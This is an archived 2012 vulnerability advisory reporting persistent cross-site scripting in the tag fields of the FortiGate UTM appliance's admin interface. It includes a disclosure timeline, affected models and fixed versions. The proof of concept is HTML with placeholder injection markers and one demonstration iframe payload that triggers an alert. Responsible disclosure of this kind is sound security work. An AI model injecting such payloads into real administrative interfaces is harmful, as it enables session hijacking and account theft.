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Fortigate UTM WAF Appliance Cross Site Scripting

Fortigate UTM WAF Appliance Cross Site Scripting
Posted Sep 13, 2012
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

The Fortigate UTM WAF Appliance suffers from cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 973037cd16c3619fefcd01e291bd7d062370066524132c4aedaad8cd3c188506

Fortigate UTM WAF Appliance Cross Site Scripting

Change Mirror Download
Title:
======
Fortigate UTM WAF Appliance - Multiple Web Vulnerabilities


Date:
=====
2012-09-06


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=557


VL-ID:
=====
557


Common Vulnerability Scoring System:
====================================
5


Introduction:
=============
The FortiGate series of multi-threat security systems detect and eliminate the most damaging, content-based threats from email
and Web traffic such as viruses, worms, intrusions, inappropriate Web content and more in real time - without degrading
network performance.

Ranging from the FortiGate-30 series for small offices to the FortiGate-5000 series for large enterprises, service providers and
carriers, the FortiGate line combines the FortiOS™ security operating system with FortiASIC processors and other hardware to provide
a comprehensive and high-performance array of security and networking functions including:

* Firewall, VPN, and Traffic Shaping
* Intrusion Prevention System (IPS)
* Antivirus/Antispyware/Antimalware
* Web Filtering
* Antispam
* Application Control (e.g., IM and P2P)
* VoIP Support (H.323. and SCCP)
* Layer 2/3 routing
* Multiple WAN interface options

FortiGate appliances provide cost-effective, comprehensive protection against network, content, and application-level threats - including
complex attacks favored by cybercriminals - without degrading network availability and uptime. FortiGate platforms incorporate sophisticated
networking features, such as high availability (active/active, active/passive) for maximum network uptime, and virtual domain (VDOM)
capabilities to separate various networks requiring different security policies.

Since 2009 Fortigate appliance series got certified by the U.S. Army and is now listed in the
Information Assurance Approved Products List (IA APL). The military provides high security
standards to secure outdoor camps, air base, offices with fortigate hardware.

(Copy from the Vendor Homepage: http://www.fortinet.com/products/fortigate )


Abstract:
=========
Vulnerability-Lab Research Team discovered multiple persistent Web Vulnerabilities in the FortiGate UTM Appliance Application.


Report-Timeline:
================
2012-05-06: Researcher Notification & Coordination
2012-05-10: Vendor Notification
2012-06-11: Vendor Response/Feedback
2012-08-25: Vendor Fix/Patch ( Fixed in FortiOS v4.3.8 B0537 & Fixed in FortiOS v5.0 )
2012-09-06: Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Fortigate
Product: UTM Appliance Application vFortiGate-5000 Series;FortiGate-3950 Series;FortiGate-3810A;


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
Multiple input validation vulnerabilities(persistent) are detected in the FortiGate UTM Appliance Application. Remote attackers
& low privileged user accounts can inject (persistent) own malicious script code to manipulate specific customer/admin requests.
The vulnerability allows an local low privileged attacker to manipulate the appliance(application) via persistent script code
inject. The vulnerability is locaed in the Add or Tags module category listing with the bound vulnerable applied tags & tags display parameters.
Successful exploitation results in content module request manipulation, execution of persistent malicious script code, session
hijacking, account steal & persistent phishing.

Vulnerable Module(s): (Persistent)
[+] Tags - Applied tags
[+] Add - Tags Display


Interface - UTM WAF Web Application [Appliance]
FortiGate-5000 Series;FortiGate-3950 Series;FortiGate-3810A;FortiGate-3600A;FortiGate-3016B;FortiGate-1240B
FortiGate-800;FortiGate-620B;FortiGate-311B;FortiGate-310B;FortiGate-300A;FortiGate-224B;FortiGate-200B Series


Proof of Concept:
=================
The persistent vulnerabilities can be exploited by remote attackers with low required user inter action or low
privileged user account. For demonstration or reproduce ...


Code Review: Tags - Applied tags [Box] > Listing
URL: http://appliance.127.0.0.1:1337/firewall/policy/policy6?expanded=#

name=``addr_dlg`` action=``/firewall/address/add`` onsubmit=``if (!fwad_form_check('Please choose one address/group.',
'Please choose one interface to connect.')) return false; if (document.forms[0].submitFlag) return false; document.forms[0].
submitFlag = true;``>
<table><tbody><tr>
<td align=``left`` width=``150``><nobr>Address Name</nobr></td>
<td align=``left``><input
name=``name`` size=``64`` maxlength=``63`` value=``all`` type=``text``>
</td>
</tr>
<tr>
<td>Color</td>
<td><span colorclassprefix=``addr_ipv6_
`` class=``icon_fw addr_ipv6_13`` id=``addressIcon``></span> <a href=``#`` id=``addressColor`` cscolorvalue=``0``>[Change]<input value=``13``
name=``csColor1`` type=``hidden``></a></td></tr>
<tr id=``row_ipv6``>
<td align=``left`` width=``150``><nobr>IPv6 Address</nobr></td>
<td
align=``left``><input name=``ip6`` size=``50`` maxlength=``43`` value=``::/0`` onfocus=``this.select()``></td>
</tr>
<tr class=``object_tag_row``>
<td colspan=``2``>Tags</td></tr>
<tr class=``object_tag_row``>
<td class=``dep_opt``>​​​​​<label for=``appliedTags``>Applied tags</label></td>

<td><span class=``tag_list`` id=``appliedTags``><span class=``object_tag object_tag_remove``
mkey=````><[PERSISTENT INJECTED SCRIPT CODE!]'<``=````><span class=``tag_label``>
``><[PERSISTENT INJECTED SCRIPT CODE!] <</span><span class=``tag_tail``></span><
/span></iframe></span></span></td>
</tr>
<tr class=``object_tag_row``>
<td class=``dep_opt``><label for=``addTag``>Add tags</label>
</td>
<td><input class=``ac_input`` autocomplete=``off`` name=``addTag`` id=``addTag`` type=``text``><img src=``/images/act_add.gif``
class=``tagSelector-addTag``></td>
</tr>
</tbody></table><input name=``mkey`` id=``mkey`` value=``all`` type=``hidden``>
<input name=``tagList``
id=``tagList`` value=``"><[PERSISTENT INJECTED SCRIPT CODE!]<`` type=``hidden``>
<input name=``is_ipv6`` id=``is_ipv6`` value=``1``
type=``hidden``>
<input name=``redir`` value=``/success`` type=``hidden``>
<div class=``footer``><input class=``button`` value=``Return``
onclick=``if (window.opener) {window.close(); } else if (parent && parent.wij_in_modal_op && parent.wij_in_modal_op())
{ parent.wij_end_modal_dialog(); } else {document.location='/success'}`` type=``button``>
</div>​​​​​</form>

... or

<td><span class="tag_list" id="appliedTags"><span class="object_tag object_tag_remove"
mkey=""><[PERSISTENT INJECTED SCRIPT CODE!]' <"=""><span class="tag_label">"><iframe src=a
onload=alert("VL") <</span><span class="tag_tail"></span></span></iframe></span>
<span class="object_tag object_tag_remove" mkey="corp"><span class="tag_label">corp</span>
<span class="tag_tail"></span></span></span></td>


Solution:
=========
To fix the persistent vulnerabilities by parsing the object tag add input fields & output listings in all sections.
Restrict the input field and disallow script code tags or evil statement inserts.

* Fixed in FortiOS v4.3.8 B0537
* Fixed in FortiOS v5.0


Risk:
=====
The security risk of the persistent input validation vulnerabilities are estimated as high (-).


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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Copyright © 2012 | Vulnerability Laboratory



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